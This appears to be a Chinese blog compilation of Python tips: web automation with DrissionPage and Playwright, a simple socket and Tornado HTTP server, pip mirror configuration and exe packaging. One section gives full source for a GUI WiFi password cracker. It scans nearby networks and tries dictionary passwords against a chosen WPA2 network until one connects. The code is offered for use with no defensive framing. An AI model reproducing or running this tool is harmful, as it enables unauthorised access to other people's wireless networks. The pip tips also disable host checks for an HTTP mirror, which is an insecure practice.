DrissionPage 爬虫 / 自动化测试工具

官网:DrissionPage 官网 DrissionPage 是一个基于 python 的网页自动化工具。 它既能控制浏览器,也能收发数据包,还能把两者合而为一。 可兼顾浏览器自动化的便利性和 requests 的高效率。

Python 暴力破解 WiFi 密码源码

有界面的 GUI 软件,效率比抓包更低,因为它是不断通过穷举的密码进行 WiFi 连接。# coding:utf-8#python -m pip install --upgrade pip#pip install comtypesfrom tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog import tkinter.messageboxclass MY_GUI(): def __init__(self,init_window_name): self.init_window_name = init_window_name #密码文件路径 self.get_value = StringVar() #获取破解 wifi 账号 self.get_wifi_value = StringVar() #获取 wifi 密码 self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠 1 秒 #测试网卡是否属于断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self): # 自动会调用的函数,返回自身的网卡 return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) #设置窗口 def set_init_window(self): self.init_window_name.title("WIFI 破解工具 ") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text=" 配置 ") # 框架,以下对象都是对于 labelframe 中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text=" 搜索附近 WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text=" 开始破解 ",command=self.readPassWord).grid(column=1,row=0) #self.label = Label(labelframe,text=" 目录路径:").grid(column=0,row=1) #self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) #self.file = Button(labelframe,text=" 添加密码文件目录 ",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi 账号:").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text="WiFi 密码:").grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi 列表 ") self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # 定义树形结构与滚动条 self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column("a", width=45, anchor="center") self.wifi_tree.column("b", width=110, anchor="w") self.wifi_tree.column("c", width=120, anchor="w") self.wifi_tree.column("d", width=60, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("<Double-1>",self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索 wifi #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT def scans_wifi_list(self): # 扫描周围 wifi 列表 #开始扫描 print("^_^ 开始扫描附近 wifi...") self.iface.scan() time.sleep(1.5) #在若干秒后获取扫描结果 scanres = self.iface.scan_results() #统计附近被发现的热点数量 nums = len(scanres) print(" 数量: %s"%(nums)) #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) # 实际数据 self.show_scans_wifi_list(scanres) return scanres #显示 wifi 列表 def show_scans_wifi_list(self,scans_res): for index,wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密码文件目录 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview 绑定事件 def onDBClick(self,event): self.sels= event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) #读取密码字典,进行匹配 def readPassWord(self): self.getFilePath = 'D:\Pycharm\pwd.txt' self.get_wifissid = self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") i = 0 while True: try: i=i+1 self.pwdStr=pwdfilehander.readline() if not self.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) if self.bool1: self.res = "=== 正确 === wifi 名:%s 匹配第 %s 密码:%s "%(self.get_wifissid,i,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo(' 提示 ', ' 破解成功!!!') print(self.res) break else: self.res = "! 错误! wifi 名:%s 匹配第 %s 密码:%s"%(self.get_wifissid,i,self.pwdStr) print(self.res) #sleep(1) except: continue #对 wifi 和密码进行匹配 def connect(self,pwd_Str,wifi_ssid): #创建 wifi 链接文件 self.profile = pywifi.Profile() self.profile.ssid =wifi_ssid #wifi 名称 self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi 加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 self.profile.key = pwd_Str #密码 self.iface.remove_all_network_profiles() #删除所有的 wifi 文件 self.tmp_profile = self.iface.add_network_profile(self.profile)# 设定新的链接文件 self.iface.connect(self.tmp_profile)# 链接 time.sleep(3)#3 秒内能否连接上 if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 #time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOKdef gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() #ui.scans_wifi_list() init_window.mainloop()gui_start()

爬虫工具箱:InfoSpider

InfoSpider 一个集众多数据源于一身的爬虫工具箱,提供数据分析功能,基于用户数据生成图表文件,使得用户更直观、深入了解自己的信息。 目前支持的数据源有:GitHub、QQ 邮箱、网易邮箱、阿里邮箱、新浪邮箱、Hotmail 邮箱、Outlook 邮箱、京东、淘宝、支付宝、中国移动、中国联通、中国电信、知乎、哔哩哔哩、网易云音乐、QQ 好友、QQ 群、生成朋友圈相册、浏览器浏览历史、12306、博客园、CSDN 博客、开源中国博客、简书。GitHub 地址→https://github.com/kangvcar/InfoSpider

Python 最简单 HTTP 服务器与 MVC

socket 模拟 HTTP 服务 基于 socket 开发,监听 127.0.0.1 任一端口,如:8888,接收监听到的数据,并通过 conn 以 HTTP 响应的格式返回数据import socketsock = socket.socket()sock.bind(("localhost", 8888)) # 绑定监听的 IP 地址与端口 8800sock.listen(5) # 设置最大监听数while True: conn, addr = sock.accept() data = conn.recv(1024) print(data) # 打印查看请求头与请求体 # 必须以 HTTP 响应头的格式返回数据,否则浏览器无法正常解析 # 同时注意 send 的数据不能是 str 字符串,必须是 bytes,否则会报错。 conn.send(b'HTTP/1.1 200 OK\r\n\r\n <h1>Hello world!</h1>') conn.close()浏览器访问 localhost:8800,即可看到网页结果,http response 中响应体前必须有两空行’ \r\n\r\n’ 否则会被认为是响应头的内容https://blog.csdn.net/qq_29941979/article/details/107871763˂a name=利用 Tornado 库 href="#"˃利用 Tornado 库my.pyimport tornado.ioloopimport tornado.web#访问地址 http://127.0.0.1:9870/main?ywdm=06&num1=10&num2=200class TestClassA: def sub(self,a,b): return a-b def add(self,a,b): return a+b def chen(self,a,b): return a*bclass TestClassB: def sub(self,a,b): return a-b def add(self,a,b): return a+b def chen(self,a,b): return a*bsys_config={}sys_config["01"]=['mymvc','TestClassA','add']sys_config["02"]=['mymvc','TestClassA','sub']sys_config["03"]=['mymvc','TestClassA','chen']sys_config["04"]=['mymvc','TestClassB','add']sys_config["05"]=['mymvc','TestClassB','sub']sys_config["06"]=['mymvc','TestClassB','chen']class MainHandler(tornado.web.RequestHandler): def get(self): ywdm=self.get_argument('ywdm') num1=int(self.get_argument('num1').encode('utf-8')) num2=int(self.get_argument('num2').encode('utf-8')) message="hello !" print type(num2) if ywdm in sys_config: my_module_name=sys_config[ywdm][0] my_class_name=sys_config[ywdm][1] my_method_name=sys_config[ywdm][2] my_module = __import__(my_module_name) my_class = getattr(my_module,my_class_name) my_obj = my_class() my_method = getattr(my_obj,my_method_name) ret=my_method(num1,num2) print "ret:",ret #message = "ret data:::"+ret message="ywdm:"+ywdm+"-data:"+str(ret) items = ["Item 1", "Item 2", "Item 3"] self.render("test.html", title="My title", items=items,config_items=sys_config) #self.write(message) #self.finish()application = tornado.web.Application([(r"/main", MainHandler),])if __name__ == "__main__": application.listen(9870) tornado.ioloop.IOLoop.instance().start()test.html<html> <head> <title>{{title}}</title> </head> <body> <ul> {% for item in items %} <li>{{escape(item) }}</li> {% end %} </ul> <ul> {% for item in config_items %} <li>{{escape(config_items[item][0]) }} -{{escape(config_items[item][1]) }} -{{escape(config_items[item][2]) }} </li> {% end %} </ul> </body> </html>https://blog.csdn.net/5iasp/article/details/23267609其中 py 中 application 中为数组形式,可以加多条映射,返回结果可以返回渲染后模板也可以返回字符串,例如:import tornado.ioloopimport tornado.webimport ctypesclass MainHandler(tornado.web.RequestHandler): def get(self): ip = self.get_argument('ip') print(ip) self.write(" 成功 ") self.finish()class IndexHandler(tornado.web.RequestHandler): def get(self): items = [] self.render("ip.html", title="My title", items=items)application = tornado.web.Application([(r"/index/get", MainHandler),(r"/index", IndexHandler) ])if __name__ == "__main__": # 最小化程序 ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 6) application.listen(9870) tornado.ioloop.IOLoop.instance().start()

pycharm 安装依赖包过慢解决方法

简单,在 terminal 中输入如下命令即可,例如安装 requests:pip3 install requests -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 其他国内源参看:https://cway.top/post/831.html

Playwright 实现多端发帖

Playwright 实现多端发帖 一直想做,但是抓包太麻烦了,刚好接触到这个工具,一想其实用途还挺多,可以自己录个多平台发文脚本。例如写篇文章,想同步在简书、zblog、hu60、v2ex 等平台发布,这几个平台刚好都支持 markdown。那么我先根据路径读取 md 文件,以文件名为标题,文本为内容再执行各个发布方法,但在此之前,我们先获取登陆后的浏览器信息并保存吧from playwright import sync_playwrightdef hu60(playwright, name, pwd): browser = playwright.chromium.launch(headless=False) context = browser.newContext() page = context.newPage() page.goto("https://hu60.cn/q.php/user.login.html?u=index.index.html") page.fill("input[name=\"name\"]", name) page.fill("input[name=\"pass\"]", pwd) page.click("input[name=\"go\"]") page.close() # 保存浏览器数据至 hu60 文件 方便发布脚本读取 context.storageState(path="hu60") context.close() browser.close()def zblog(playwright, name, pwd): browser = playwright.chromium.launch(headless=False) context = browser.newContext() page = context.newPage() page.goto("https://cway.top/zb_system/login.php") page.fill("input[name=\"edtUserName\"]", name) page.fill("input[name=\"edtPassWord\"]", pwd) page.close() context.storageState(path="cway") context.close() browser.close()with sync_playwright() as playwright: hu60(playwright, ' 帐号 ', ' 密码 ') zblog(playwright, ' 帐号 ', ' 密码 ')接着我们可以直接执行发布脚本了,键入文本路径即可from playwright import sync_playwrightdef zblog(playwright, title, content, id): import time browser = playwright.chromium.launch(headless=False) context = browser.newContext(storageState="cway") page = context.newPage() page.goto("https://cway.top/") page.click("text=\" 新建文章 \"") page.click("input[name=\"Title\"]") page.fill("input[name=\"Title\"]", title) page.fill("//div[normalize-space(.)='Enjoy Markdown! coding now...​x 1​']/div[1]/textarea", content) time.sleep(1) page.selectOption("select[id=\"cmbCateID\"]", id) page.click("input[type=\"submit\"]") page.goto("https://cway.top/") text = page.innerText("body") assert title in text page.close() context.close() browser.close()def hu60(playwright, title, content, id): browser = playwright.chromium.launch(headless=False) context = browser.newContext(storageState="hu60") page = context.newPage() page.goto("https://hu60.cn/q.php/index.index.html") page.click("text=\" 发帖 \"") page.click("text=/.*" + id + ".*/") page.click("input[name=\"title\"]") page.fill("input[name=\"title\"]", title) page.fill("textarea[name=\"content\"]", content) page.click("input[name=\"go\"]") context.close() browser.close()def jianshu(playwright, title, content, id): import time browser = playwright.chromium.launch(headless=False) context = browser.newContext(storageState="jianshu") page = context.newPage() page.goto("https://www.jianshu.com/writer#/") page.click("text=\"" + id + "\"") with page.expect_navigation(): page.click("text=\"" + id + "\"") page.click("//span[normalize-space(.)=' 新建文章 ']") page.click("//div[normalize-space(.)=' 发布文章 ']/input[normalize-space(@type)='text']") page.fill("//div[normalize-space(.)=' 发布文章 ']/input[normalize-space(@type)='text']", title) page.click("textarea[id=\"arthur-editor\"]") page.fill("textarea[id=\"arthur-editor\"]", content) time.sleep(2) page.click("//a[normalize-space(.)=' 发布文章 ']") page.close() context.close() browser.close()with sync_playwright() as playwright: path = input(' 请输入 md 或 txt 文件路径或在控制台拖入文件:') file = open(path, 'r') fn = file.name.split('/') # 获取标题 title = fn[len(fn) - 1].split('.')[0] # 获取内容 content = file.read() # 分类处理 由于每个平台文章分类不一样 酌情修改 # 指定分类 cata = 'py' zbcata, hu60cata, jscata = '7', 'Java', 'Java' if cata == 'java': zbcata, hu60cata, jscata = '7', 'Java', 'Java' if cata == 'py': zbcata, hu60cata, jscata = '18', 'Python', 'Python' zblog(playwright, title, content, zbcata) hu60(playwright, title, content, hu60cata) # jianshu(playwright, title, content, jscate)

Python 解决 pip 下载慢 使用国内源教程

国内源 清华:https://pypi.tuna.tsinghua.edu.cn/simple阿里云:https://mirrors.aliyun.com/pypi/simple/中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/华中理工大学:http://pypi.hustunique.com/山东理工大学:http://pypi.sdutlinux.org/ 豆瓣:http://pypi.douban.com/simple/临时使用:可以在使用 pip 的时候加参数 -i https://pypi.tuna.tsinghua.edu.cn/simple例如:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyspider,这样就会从清华这边的镜像去安装 pyspider 库。永久修改,一劳永逸:Linux 下,修改 ~/.pip/pip.conf (没有就创建一个文件夹及文件。文件夹要加“.”,表示是隐藏文件夹)内容如下:[global]index-url = https://pypi.tuna.tsinghua.edu.cn/simple[install]trusted-host=mirrors.aliyun.comwindows 下,直接在 user 目录中创建一个 pip 目录,如:C:\Users\xx\pip,新建文件 pip.ini。内容同上。

Python 安装与配置环境变量(Windows)

官网:https://www.python.org/downloads/ 下载后 Windows 用户直接下一步下一步安装即可。 安装好后配置环境变量也简单,主要讲安装目录与安装目录 Scripts 目录加入 Path 中即可。 例如我的安装目录是 D:\Programs\Python\Python39,那就将以下加入 Path 中即可:D:\Programs\Python\Python39D:\Programs\Python\Python39\Scripts

Playwright(python) 浏览器脚本录制工具使用

功能:录制浏览器操作并自动生成 py 或 js 代码 以下是 python 环境下的教程。环境要求需 Python3.7+,安装:# 安装 playwright 库pip install playwright# 安装浏览器驱动文件(文件较大有点慢)python -m playwright install 录制 python -m playwright codegen 其他选项:-target 生成语言,有 python/javascript/python-async/csharp 可选,缺省值为 python-o 保存路径,也可以写成–output -b 指定浏览器,浏览器选项如下 (缺省默认为 chromium):cr 谷歌浏览器,或全称 chromiumff 火狐浏览器,或全称 firefoxwk 全称 webkit-h 查看帮助,也可写成–help 例如:python -m playwright codegen -h 例如指令:python -m playwright codegen --target python -o 'my.py' -b chromium https://cway.top 脚本代码会直接在控制台输出供你复制,或者在执行命令目录下查看 my.py 文件 完整选项 / 命令: 选项: -V, --version 输出版本号 -b, --browser <browserType> 浏览器类型 --color-scheme <scheme> 更改主题 取值 "light" 或 "dark" --device <deviceName> 模拟设备,例如 "iPhone 11" --geolocation <coordinates> 指定地理位置 例如 "37.819722,-122.478611" --lang <language> 指定语言区域 "en-GB" --save-storage <filename> 保存浏览器状态到指定文件 --load-storage <filename> 载入指定文件浏览器状态 --proxy-server <proxy> 指定代理服务器 例如 "http://myproxy:3128" 或 "socks5://myproxy:8080" --timezone <time zone> 失去设置 例如 "Europe/Rome" --timeout <timeout> 超时设置,单位毫秒 (default: "10000") --user-agent <ua string> 指定 UA --viewport-size <size> 指定浏览器像素 "1280, 720"命令: open [url] 打开 URL 或用 -b, --browser 指定浏览器 cr [url] 打开 URL 用 Chromium ff [url] 打开 URL 用 Firefox wk [url] 打开 URL 用 WebKit codegen [options] [url] 打开页面生成代码 screenshot [options] <url> <filename> 页面截图 pdf [options] <url> <filename> 保存页面为 pdf install 确保安装必要的浏览器驱动 help [command] 帮助–save-storage 与–load-storage 是个非常实用的命令,例如用下面命令访问网站并登陆,关闭浏览器时自动把 cookie 等浏览器信息存入 hik 文件中:python -m playwright cr https://cway.top --save-storage cway 使用时用下述命令直接调用,打开页面即为登陆状态的 hu60:python -m playwright cr https://cway.top --load-storage cway 假如我有多个网站帐号就可以存在多个不同文件,使用时输入命令即可,文件默认储存在当前执行命令的目录 在网站录制操作的过程中也可以用–sava,例如:python -m playwright codegen --target python -o 'login.py' https://cway.top --save-storage cway 这样 py 代码中也生成了保存信息到本地的功能代码,适合于更新帐号信息,然后录制操作只用录制登陆后的页面即可,如下命令,直接读取已登陆的状态,然后就能在已登陆状态下录制:python -m playwright codegen --target python -o 'run.py' https://cway.top --load-storage cway 开源地址:https://github.com/microsoft/playwrighthttps://github.com/microsoft/playwright-python

Python 打包 windows exe/linux 可执行文件方法

方法一:pyinstallerpyinstaller 适合 Windows 与 Linux1、安装 pyinstaller,执行命令 pip install pyinstaller2、打包 pyinstaller -F -c main.py 生成带图标的使用 -Ipyinstaller -i xxx.ico hello.py 在当前目录下的 dist 文件夹内可以找到生成后的可执行文件 方法二:py2exe 只适合 Windows 平台 1、安装 py2exepip install py2exe2、使用 build_exe main.py 经测试 python3.6 版本以上会报错缺少模块,请降级或安装模块。因此个人建议还是方法一吧。 问题解答 Windows 系统若 Python 未加入环境变量如何使用? 直接进 python 安装目录,进入 Scripts 文件夹,在资源管理器地址栏输入 cmd,输入 pip.exe install pyinstaller 即可安装,并且安装文件也在 Scripts 文件夹里,输入 pyinstaller.exe -F -c C:\Users\Administrator\Desktop\pythonProject\main.py 即可